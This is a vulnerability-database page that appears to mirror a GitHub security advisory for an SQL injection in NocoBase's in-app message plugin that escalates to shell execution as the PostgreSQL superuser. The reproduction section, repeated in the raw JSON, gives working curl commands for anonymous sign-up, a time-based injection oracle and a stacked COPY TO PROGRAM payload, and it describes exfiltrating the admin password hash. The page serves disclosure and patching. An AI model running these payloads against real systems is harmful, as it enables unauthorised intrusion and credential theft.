GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-P849-8HWH-84J9

Vulnerability from github – Published: 2026-07-31 19:44 – Updated: 2026-07-31 19:44
VLAI
Summary
NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE
Details

Summary

GET /api/myInAppChannels:list accepts a structured filter query parameter. The handler for the latestMsgReceiveTimestamp field splices the $lt value directly into a Sequelize.literal() template string with no escape, type cast, or parameter binding. The action ACL is loggedIn, so any authenticated account reaches it. The default auth-basic authenticator ships allowSignUp: true, so the account is obtainable anonymously.

The injection is reachable with the URL parameter filter[latestMsgReceiveTimestamp][$lt]=<expression>. The pg driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.

The shipped docker-compose.yml creates the DB role nocobase on a stock postgres:16 image, which assigns the rolsuper attribute by default. COPY ... TO PROGRAM '...' therefore runs shell commands as uid=999(postgres) inside the database container.

Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.

Affected

NocoBase server, @nocobase/plugin-notification-in-app-message <=2.0.57. Confirmed live-exploitable on the official nocobase/nocobase:2.0.57 Docker image (HEAD e35a2737d9df139cacecae0151c3326746e2339a).

@nocobase/plugin-notification-in-app-message is enabled by default in @nocobase/preset-nocobase. The default auth-basic ships allowSignUp: true. The shipped docker/app-postgres/docker-compose.yml uses POSTGRES_USER=nocobase against postgres:16, which makes the role a PostgreSQL superuser; COPY ... TO PROGRAM runs from this role.

Root cause

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63: the latestMsgReceiveTimestamp filter is built as Sequelize.literal(\${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`). The$ltvalue comes straight from the GETfilterJSON; the template uses${...}interpolation with noescape(),replacements`, or type cast.

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200: app.acl.allow('myInAppChannels', '*', 'loggedIn') exposes every action on the resource to every authenticated role, including the seeded member.

packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295: allowSignUp: true ships in the default auth-basic seed; POST /api/auth:signUp returns 200 with no admin involvement.

docker/app-postgres/docker-compose.yml:30: POSTGRES_USER: nocobase against postgres:16. The bare postgres:16 image creates the named role with rolsuper=true (live-verified: SELECT rolsuper FROM pg_roles WHERE rolname='nocobase' returns true). The pg driver simple-query accepts stacked statements.

Reproduction

Tested against nocobase/nocobase:2.0.57 from the official Docker image with the default app-postgres compose. Attacker is an anonymously-signed-up member.

  1. Anonymous sign-up, then sign-in for a member JWT.
curl -X POST -H 'Content-Type: application/json' \
  -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
  -d '{"account":"a","password":"P!ssw0rd1"}' \
  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
  1. Time-based oracle confirms injection. Each request below takes ~5 seconds.
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
  1. Stacked-statement COPY ... TO PROGRAM runs shell as uid=999(postgres) inside the database container.
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt
# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Live-verified: sqlmap 1.10.3 against this endpoint reports Type: boolean-based blind (payload 0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH), Type: time-based blind, current user: nocobase, current user is DBA: True. Admin password hash ef6ea7f6...8ea12 exfiltrated via COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'. Reproduced 2026-05-26 against HEAD e35a2737.

Impact

  • Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (pg driver simple-query).
  • Arbitrary row read of any collection, including users.password PBKDF2 hashes for the super-admin account.
  • Shell command execution as uid=999(postgres) inside the PostgreSQL container via COPY ... TO PROGRAM.
  • Anonymous reach in default deployments because auth-basic ships allowSignUp: true.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.60"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-notification-in-app-message"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.61"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T19:44:59Z",
    "nvd_published_at": "2026-07-15T21:16:54Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously.\n\nThe injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=\u003cexpression\u003e`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.\n\nThe shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM \u0027...\u0027` therefore runs shell commands as `uid=999(postgres)` inside the database container.\n\nResult: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.\n\n## Affected\n\nNocoBase server, `@nocobase/plugin-notification-in-app-message` `\u003c=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`).\n\n`@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role.\n\n## Root cause\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\\`${latestMsgReceiveTimestampSQL} \u003c ${filter.latestMsgReceiveTimestamp.$lt}\\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast.\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow(\u0027myInAppChannels\u0027, \u0027*\u0027, \u0027loggedIn\u0027)` exposes every action on the resource to every authenticated role, including the seeded `member`.\n\n`packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement.\n\n`docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname=\u0027nocobase\u0027` returns `true`). The `pg` driver simple-query accepts stacked statements.\n\n## Reproduction\n\nTested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`.\n\n1. Anonymous sign-up, then sign-in for a `member` JWT.\n\n```\ncurl -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"a\",\"password\":\"P!ssw0rd1\",\"confirm_password\":\"P!ssw0rd1\"}\u0027 \\\n  http://target:13000/api/auth:signUp?authenticator=basic\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"account\":\"a\",\"password\":\"P!ssw0rd1\"}\u0027 \\\n  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)\n```\n\n2. Time-based oracle confirms injection. Each request below takes ~5 seconds.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a\"\n```\n\n3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0); COPY (SELECT 1) TO PROGRAM \u0027id \u003e /tmp/PWN_VERIFY.txt\u0027; --\"\ndocker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt\n# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)\n```\n\nLive-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM \u0027cat \u003e /tmp/PWN_HASH.txt\u0027`. Reproduced 2026-05-26 against HEAD `e35a2737`.\n\n## Impact\n\n- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query).\n- Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account.\n- Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`.\n- Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)",
  "id": "GHSA-p849-8hwh-84j9",
  "modified": "2026-07-31T19:44:59Z",
  "published": "2026-07-31T19:44:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…